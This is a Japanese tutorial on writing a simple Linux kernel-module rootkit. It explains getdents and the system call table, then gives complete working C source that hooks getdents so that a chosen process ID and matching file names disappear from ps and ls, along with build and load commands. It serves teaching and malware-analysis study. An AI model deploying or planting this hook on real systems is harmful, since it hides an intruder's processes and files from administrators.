1　概要

本記事では、Linux(x64) においてプロセス隠蔽およびファイル隠蔽をするルートキットを作成する．ルートキットとは，カーネルと呼ばれるシステムレベルの領域で動作するプログラムで，一般的に攻撃者がマルウェアや自身の存在を管理者から隠すために使われるツールである．ルートキットはシステム権限で動作するため強力で，プロセス隠蔽やファイル隠蔽，また特定の通信をパケットキャプチャに取得させないようにするなど，様々な機能が搭載されている．そこで，本記事ではカーネルモジュールを作成し，システムコールをフックすることでプロセスおよびファイルを隠蔽するような簡単なルートキットを作ってみる．

2　注意

2.1　読者へのお願い

本記事では悪用できる技術について説明するが、法律で許可される範囲で実験するように注意されたい。また、本記事はそのような行為を助長するためでなく、この分野がマルウェア解析などで重要であり、またスキルアップのための題材として優れていると考えたため記事とした。実際に試す場合は、必ず権限のあるコンピュータ上で試すこと。

2.2　本記事の対象者

本記事を読むだけでシステムフックの手法について十分に理解することは難しいかもしれないが、分からない部分はインターネットで調べながら読んでほしい。その上で、次のような方は少し理解しやすいかもしれない。

- Linux に慣れ親しんでいる
- C 言語がある程度読める（特にポインタ）
- カーネルモジュールやデバイスドライバを作ったことがある
- システムコールを理解している
- リングプロテクションを理解している

3 原理

3.1 ps の仕組み

Linux を長年使って来た人なら ps コマンドの存在は当たり前のものだと思うが，その仕組みは広く知られていない．ps とは，Linux 上で動作しているユーザーアプリケーション（プロセス）の一覧を表示してくれるプログラムである．例えば次のように，プログラムの実行者，ID，実行日時などが分かる．

```
[ptr@ptr ~]$ ps aux
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          1  0.0  0.0 191312  4424 ?        Ss   02/19   0:01 /usr/lib/systemd/...
root          2  0.0  0.0      0     0 ?        S    02/19   0:00 [kthreadd]
root          3  0.0  0.0      0     0 ?        S    02/19   0:00 [ksoftirqd/0]
... 省略 ...
ptr        2537  0.0  0.0 116984  3624 pts/2    Ss+  02/19   0:00 /bin/bash
```

この例では，ユーザー ptr がプログラム/bin/bash を動かしていることなどが見て分かる．ps の挙動を strace などを使って見ると，次のような動作が見つかる．

```
[ptr@ptr ~]$ strace ps
... 省略 ...
openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 5
mmap(NULL, 135168, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = ...
mmap(NULL, 135168, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = ...
getdents(5, /* 308 entries */, 32768)   = 7816
stat("/proc/1", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
open("/proc/1/stat", O_RDONLY)          = 6
read(6, "1 (systemd) S 0 1 1 0 -1 4202752"..., 1024) = 202
close(6)
... 省略 ...
```

openat システムコールで/proc を開いた後，getdents システムコールでその中にあるファイルおよびディレクトリの一覧を参照している．/proc 以下には起動している全てのプロセスに関する情報が記録されている．例えばプロセス ID(以降 PID) が 2537 のプロセスに関する情報は，/proc/2537 以下に書かれている．このように，ps は/proc 以下のファイルを参照するという，一見原始的な方法でプロセス一覧を取得している．

3.2 ls の仕組み

ls も ps と同じく，getdents を使用する．getdents でディレクトリ内のファイル一覧を取得し，それを表示しているのである．

3.3 getdents の仕様

前節では ps が getdents を利用していることが分かった．では，getdents の仕様について見ていこう．getdents のシステムコールの定義は次のようになっている．

```
int getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count);
```

fd はファイルディスクリプタで，open 関数により取得される番号である．count はメモリ領域のサイズである．重要なのは dirp であるが，dirent 構造体は次のように定義される．

```
struct dirent
{
    long d_ino;                 /* inode number */
    off_t d_off;                /* offset to next dirent */
    unsigned short d_reclen;    /* length of this dirent */
    char d_name [NAME_MAX+1];   /* filename (null-terminated) */
}
```

dirent 構造体は 1 つのファイルに関する情報と，次の dirent までのオフセットが書かれている．d_off を使っても d_reclen を使っても次の dirent のアドレスは計算できる．なお，getdents64 というシステムコールもあるが，本記事ではそちらは対応しない．構造体が linux_dirent64 を取ることに注意すれば，同じ方法でフックできるので興味のある方は試してほしい．

3.4 システムコール

ユーザーアプリケーションがシステムに関する処理をしたいとき，いくつかの問題がある．ファイルからデータを読む処理を例に考えてみよう．まず，一般的にユーザーアプリケーションは ring3 と呼ばれる最も権限の少ない領域に所属している．したがって，ハードディスクからファイルを読もうとしても，デバイスにアクセスする権限がない．また，いろんなアプリケーションがファイルをディスクから読む処理を書いてしまうと，プログラマーからすれば非常に面倒である．このような観点から，OS にはシステムコールという機能が存在する．OS はファイルの読み書きやメモリの確保などの，よく使われる機能や権限を要する機能をシステムコールとしてユーザーアプリケーションに提供する．ユーザーアプリケーションは番号や引数など必要な情報を渡してシステムコールを呼び出せば，OS カーネル側でその処理を完了してくれる．システムコールは syscall 命令で呼び出せるが，使いたい機能はシステムコール番号により区別される．そして，カーネルはその番号ごとに，ある番号の機能が呼び出されたらどこに処理を移せばいいかを書いた表を持っている．これをシステムコールテーブルと呼ぶ．Linux においてシステムコールテーブルは次のように定義されている．(kernel/sys.c)

```
... 省略 ...
#undef __SYSCALL
#define __SYSCALL(nr, call) [nr] = (call),
void *sys_call_table[NR_syscalls] = {
        [0 ... NR_syscalls-1] = sys_ni_syscall,
#include <asm/unistd.h>
};
```

定義の段階では単にエラーを返す処理が書かれた関数 sys_ni_syscall が記載されるが，このテーブルには後で正しいシステムコールに直される．したがって，このシステムコールエントリを書き換えることができれば，そのシステムコールが呼ばれた時点で任意の処理を実行できる．しかし，ルートキットなど悪意のあるプログラムにこれを利用させないために，OS 側はこの変数をエクスポートできなくして対策してある．この問題の回避方法については，次節で述べる．また，ディストリビューションによっては読み取り専用になっているが，本実験で使用したカーネルでは書き込むことができた．読み取り先頭になっている場合は change_page_attr などを使って書き込み可能にしてやればよい．

3.5　プロセスおよびファイル隠蔽の構想

本節ではモジュールからプロセス隠蔽を実現するための手法について説明する．今回は，システムコールテーブルのフックによりプロセスおよびファイルを隠蔽する．ps, ls が使っている getdents などもシステムコールである．そのため，システムコールが呼び出されたとき，こちら側で作ったコードを実行できれば処理を改竄できる．getdents のシステムコールテーブルを変更し，用意したコードが呼び出されるようにフックすれば，ps, ls に特定のファイルの存在を伝えないように処理できる．しかし，システムコールテーブルはエクスポートできないため，単純に extern などで記述してもアドレスは分からない．したがって，システムコールテーブルのアドレスを何とかして探し当てる必要がある．一般的にはページの先頭から sys_call_table のアドレスを愚直に探していく．アドレスを PAGE_OFFSET から徐々に大きくしていき，毎回そのアドレスが sys_call_table だと仮定していく．そこで，例えば sys_close にあたるエントリのポインタが正しく sys_close を指していれば，そこが sys_call_table だと分かる．詳しいコードは実験の過程で記述するが，sys_call_table の場所さえ分かれば getdents をフックできる．sys_call_table は読み取り専用になっていることが多いので，その場合に対応するためページの書き込みフラグを ON にするのが望ましいが，本実験ではこの処理は書かない．getdents をフックしたら，その処理を変更する必要がある．本記事では，通常の getdents 処理を先に呼び出し，その結果を改竄するという方針でルートキットの機能を実現する．

4 実験

4.1 実験環境

本記事では Intel x64 で動作する CentOS 7.4 を対象にプログラムを書く．しかし，Linux であれば同じ手法で動作できる．また，x86 ではシステムコールテーブルのアドレスに注意すれば，これも同じ手法で動作する．本記事で作成したソースコードは以下から閲覧およびダウンロードできる．

4.2 カーネルモジュールのコンパイル

本節では，Linux 上で動作する簡単なカーネルモジュールを作り，コンパイルおよびインストールする．カーネルモジュールは，より OS に近いアプリケーションで，システムレベルの権限を持っている．ルートキットは一般に，カーネルモジュールとしてロードされることでプロセス，ファイル，通信などの隠蔽をする．早速，次のコード modhello.c を書く．(modhello.c)

```
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>

/*
 * モジュール初期化
 */
int init_module(void)
{
  printk(KERN_INFO "modhello: init\n");
  return 0;
}

/*
 * モジュール解放
 */
void cleanup_module(void)
{
  printk(KERN_INFO "modhello: exit\n");
}
```

C 言語に慣れている人であれば，デバイスドライバに親しくない人でも内容は分かるだろう．コンパイルを楽にするために，次のような Makefile を作る．

```
obj-m += modhello.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
```

始めの obj-m には，生成されるオブジェクトファイルの名前を書く．make コマンドを実行すると，コンパイルが成功すれば拡張子が”.ko” のファイルができる．モジュールは次のように，root 権限でインストールおよびアンインストールできる．

```
[ptr@ptr modhello]# insmod modhello.ko
[ptr@ptr modhello]# rmmod modhello
```

特に何も表示されなければ上手く動作している．printk で出力した内容は dmesg で表示できる．

```
[ 5901.346064] modhello: init
[ 5908.208209] modhello: exit
```

4.3 システムコールのフック

本節では，Linux のシステムコールをフックする最も簡単なコードを作る．目標は，getdents が呼ばれたら printk により適当なメッセージを出力し，その後本来の処理に戻すことである．まず，sys_call_table のアドレスを取得するコードを以下に示す．(gettable.c の一部)

```
static unsigned long **find_sys_call_table(void)
{
  unsigned long offset;
  unsigned long **sct;

  // PAGE_OFFSET から探索
  for(offset = PAGE_OFFSET; offset < ULLONG_MAX; offset += sizeof(void *)) {
    // 仮に offset が sys_call_table の先頭だとする
    sct = (unsigned long**)offset;
    // __NR_close 番目のポインタが sys_close であれば一致
    if(sct[__NR_close] == (unsigned long*) sys_close) {
      printk(KERN_INFO "gettable: Found sys_call_table at 0x%lx", (unsigned long)sct);
      return sct;
    }
  }

  printk(KERN_INFO "gettable: Found nothing");
  return NULL;
}
```

ロードすると，次のようにアドレスが出力されることが分かる．

```
[ 4809.038674] gettable: Found sys_call_table at ffff8800016c6ee0
```

ちなみに root 権限で次のコマンドを実行しても，sys_call_table のアドレスを表示できる．

```
[ptr@ptr gettable]# cat /boot/System.map-$(uname -r) | grep sys_call_table
ffffffff816c6ee0 R sys_call_table
ffffffff816cdf80 R ia32_sys_call_table
```

一見して dmesg の出力とアドレスが違うが，これはページングが原因である．ページングでは物理アドレスに対して複数の仮想アドレスを割り当てるため，同じ変数でも複数の仮想アドレスを持っていることがある．実際に__phys_addr_nodebug という仮想アドレスを物理アドレスに変換する関数を通すと，2 つのアドレスは同じになる．sys_call_table のアドレスが分かったので，早速 getdents をフックするコードを以下に示す．(firsthook.c)

```
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
```

```
#include <linux/unistd.h>
#include <linux/syscalls.h>
#include <linux/semaphore.h>
#include <asm/cacheflush.h>

void **sys_call_table;

// 古い getdents のアドレス
asmlinkage long (*original_getdents)
(unsigned int, struct linux_dirent __user*, unsigned int);
// 新しい getdents の宣言
asmlinkage long hacked_getdents(
                                unsigned int fd,
                                struct linux_dirent __user *dirent,
                                unsigned int count
                                )
{
  printk(KERN_INFO "firsthook: Hacked getdents is called!\n");
  return original_getdents(fd, dirent, count);
}

/*
 * sys_call_table のアドレスを探す
 */
static unsigned long **find_sys_call_table(void)
{
  unsigned long offset;
  unsigned long **sct;

  // PAGE_OFFSET から探索
  for(offset = PAGE_OFFSET; offset < ULLONG_MAX; offset += sizeof(void *)) {
    // 仮に offset が sys_call_table の先頭だとする
    sct = (unsigned long**)offset;
    // __NR_close 番目のポインタが sys_close であれば一致
    if(sct[__NR_close] == (unsigned long*) sys_close) {
      printk(KERN_INFO "firsthook: Found sys_call_table at 0x%lx", (unsigned long)sct);
      return sct;
    }
  }

  printk(KERN_INFO "firsthook: Found nothing");
  return NULL;
}

/*
 * システムコールエントリを変更
 */
void modify_syscall(void)
{
  // sys_call_table のアドレスを取得
  sys_call_table = (void**)find_sys_call_table();
  // 元の getdents を保持
  original_getdents = sys_call_table[__NR_getdents];
  // 新しい getdents に変更
  sys_call_table[__NR_getdents] = hacked_getdents;
}
```

```
/*
 * モジュール初期化
 */
int init_module(void)
{
  printk(KERN_INFO "firsthook: init\n");

  modify_syscall();

  return 0;
}

/*
 * モジュール解放
 */
void cleanup_module(void)
{
  printk(KERN_INFO "firsthook: exit\n");

  // 変更を元に戻す
  sys_call_table[__NR_getdents] = original_getdents;
}
```

ロードした後に ps コマンドを実行すると，次のようにフックに成功していることが分かる．

```
[ 7561.713515] firsthook: init
[ 7566.751401] firsthook: Hacked getdents is called!
[ 7566.759074] firsthook: Hacked getdents is called!
[ 7572.465819] firsthook: Hacked getdents is called!
... 省略
```

また，ps コマンドの結果は正常なので，フック後に元の処理に戻れていることも分かった．

4.4 getdents の改造

本節では，getdents の処理を変更して，特定の情報を ps および ls に表示させないようにする．早速，完成したコードを以下に示す．

```
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/unistd.h>
#include <linux/syscalls.h>
#include <linux/sched.h>

MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Hook getdents syscall");

void **sys_call_table;

struct linux_dirent {
  unsigned long  d_ino;
  unsigned long  d_off;
  unsigned short d_reclen;
  char           d_name[1];
};
```

```
static int pid = 0;
static char *filename = "!filename!";
module_param(pid, int, 0);
MODULE_PARM_DESC(pid, "Process ID to hide");
module_param(filename, charp, S_IRUGO | S_IWUSR);
MODULE_PARM_DESC(filename, "Filename to hide");

// 古い getdents のアドレス
asmlinkage long (*original_getdents)
(unsigned int, struct linux_dirent*, unsigned int);

/*
 * オリジナル atoi
 * PID 用なので負数には非対応
 */
int myatoi(char *str) {
    int num = 0;
    while(*str != '\0') {
      if (*str < '0' || *str > '9') {
        return -1;
      }
      num += *str - '0';
      num *= 10;
      str++;
    }
    num /= 10;
    return num;
}

// 新しい getdents の宣言
asmlinkage long hacked_getdents(
                                unsigned int fd,
                                struct linux_dirent *dirp,
                                unsigned int count
                                )
{
  long res;
  char *ptr = (char*)dirp;
  struct linux_dirent *curr;
  char *src, *dst;
  long len;

  //printk(KERN_INFO "modevil: Hacked getdents is called!\n");

  res = (*original_getdents)(fd, dirp, count);

  // 失敗したらそのまま終了
  if ((!res) || (res == -1)) {
    return res;
  }

  while(ptr < (char *)dirp + res) {
    curr = (struct linux_dirent *)ptr;
    // 1. modevil を含むファイルは表示しない
    // 2. pid の数字が名前のファイルは表示しない
    if (strstr(curr->d_name, filename) != NULL ||
```

```
        myatoi(curr->d_name) == pid) {
      printk(KERN_INFO "modevil: Found target!\n");
      // 全体のサイズからこのエントリを減算
      res -= curr->d_reclen;
      // それ以降のエントリを詰める
      src = ptr + curr->d_reclen;
      dst = ptr;
      for(len = res; len > 0; --len) {
        *(dst++) = *(src++);
      }
      continue;
    }

    // 次のエントリへ
    ptr += curr->d_reclen;
  }

  return res;
}

/*
 * sys_call_table のアドレスを探す
 */
static unsigned long **find_sys_call_table(void)
{
  unsigned long offset;
  unsigned long **sct;

  // PAGE_OFFSET から探索
  for(offset = PAGE_OFFSET; offset < ULLONG_MAX; offset += sizeof(void *)) {
    // 仮にがの先頭だとするoffsetsys_call_table
    sct = (unsigned long**)offset;
    // __NR_close 番目のポインタが sys_close であれば一致
    if(sct[__NR_close] == (unsigned long*) sys_close) {
      printk(KERN_INFO "modevil: Found sys_call_table at 0x%lx", (unsigned long)sct);
      return sct;
    }
  }

  printk(KERN_INFO "modevil: Found nothing");
  return NULL;
}

/*
 * システムコールエントリを変更
 */
void modify_syscall(void)
{
  // sys_call_table のアドレスを取得
  sys_call_table = (void**)find_sys_call_table();
  // 元の getdents を保持
  original_getdents = sys_call_table[__NR_getdents];
  // 新しい getdents に変更
  sys_call_table[__NR_getdents] = hacked_getdents;
}

/*
```

```
 * モジュール初期化
 */
int init_module(void)
{
  printk(KERN_INFO "modevil: Hello!\n");

  modify_syscall();

  return 0;
}

/*
 * モジュール解放
 */
void cleanup_module(void)
{
  printk(KERN_INFO "modevil: See you!\n");

  // 変更を元に戻す
  sys_call_table[__NR_getdents] = original_getdents;
}
```

このモジュールは，引数 pid および filename を取る．getdents の結果からファイル名を取得し，それが pid で指定した数値であれば隠蔽する．これは ps の仕組みで説明したように，ps は/proc/1111 などのプロセス ID が書かれたファイルを読むためである．次に，ファイル名に filename を含むものを隠蔽する．これにより ls などから特定の文字列を含むファイルが隠蔽できる．このモジュールを使った結果を以下に示す．

```
[ptr@ptr modevil]$ ls
Makefile  Module.symvers  modevil.c  modevil.ko  modevil.mod.c  modevil.mod.o  modevil.o
modules.order
[ptr@ptr modevil]$ ps
  PID TTY          TIME CMD
 2681 pts/2    00:00:00 bash
17112 pts/2    00:00:00 ps
32660 pts/2    00:00:45 emacs
[ptr@ptr modevil]$ sudo insmod modevil.ko pid=2681 filename=modevil
[ptr@ptr modevil]$ ls
Makefile  Module.symvers  modules.order
[ptr@ptr modevil]$ ps
  PID TTY          TIME CMD
17142 pts/2    00:00:00 ps
32660 pts/2    00:00:45 emacs
[ptr@ptr modevil]$ sudo rmmod modevil
[ptr@ptr modevil]$ ls
Makefile  Module.symvers  modevil.c  modevil.ko  modevil.mod.c  modevil.mod.o  modevil.o
modules.order
[ptr@ptr modevil]$ ps
  PID TTY          TIME CMD
 2681 pts/2    00:00:00 bash
17152 pts/2    00:00:00 ps
32660 pts/2    00:00:46 emacs
[ptr@ptr modevil]$
```

insmod で pid と filename を引数として渡すことで，その pid を ps から，filename を ls から表示できなくしている．また，rmmod の後には結果が元に戻っているので，解放処理も正しく実装できていることが分かる．

4.5 まとめ

今回は時間が少なかったため簡易的とはいえ，正しく動作するルートキットを作成することができた．実際にはページの権限変更や，キャッシュへの対応など，より細かい挙動を設定しなくてはならない．また，システムコールのフックに成功すれば，ルートキットのみならず，より低いレイヤでのデバッグをしたり，気にくわない挙動を変更するパッチを当てたりと応用できる．C 言語を勉強していても普通の人にとってカーネルモジュールを作る機会はほとんど無いと思う．この記事を読んだ方には，カーネルモジュールやルートキットの面白さを知ってもらえれば幸いである．

参考文献

[1] “The Linux Kernel Module Programming Guide”, (2018/02/19)
http://www.tldp.org/LDP/lkmpg/2.6/html/lkmpg.html

[2] “Malicious Linux modules”, (2018/02/19)
https://www.redhat.com/archives/linux-security/1997-October/msg00011.html

[3] “Rootkit module in Linux Kernel 3.2”, (2018/02/19)
http://dandylife.net/blog/archives/304

[4] “Linux Kernel: System call hooking example - Stack Overflow”, (2018/02/20)
https://stackoverflow.com/questions/2103315/linux-kernel-system-call-hooking-example

[5] “Kernel sys_call_table address does not match address specified in system.map - Stack Overflow”, (2018/02/20)
https://stackoverflow.com/questions/31396090/kernel-sys-call-table-address-does-not-match-address-specified-in-system-map

[6] “Syscall Hijacking: Dynamically obtain syscall table address (kernel 2.6.x)”, (2018/02/20)
https://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/

[7] “Passing Command Line Arguments to a Module”, (2018/02/20)
http://www.tldp.org/LDP/lkmpg/2.6/html/x323.html

[8] Linux ソースコード from Bootlin
https://elixir.bootlin.com/linux/v4.9/source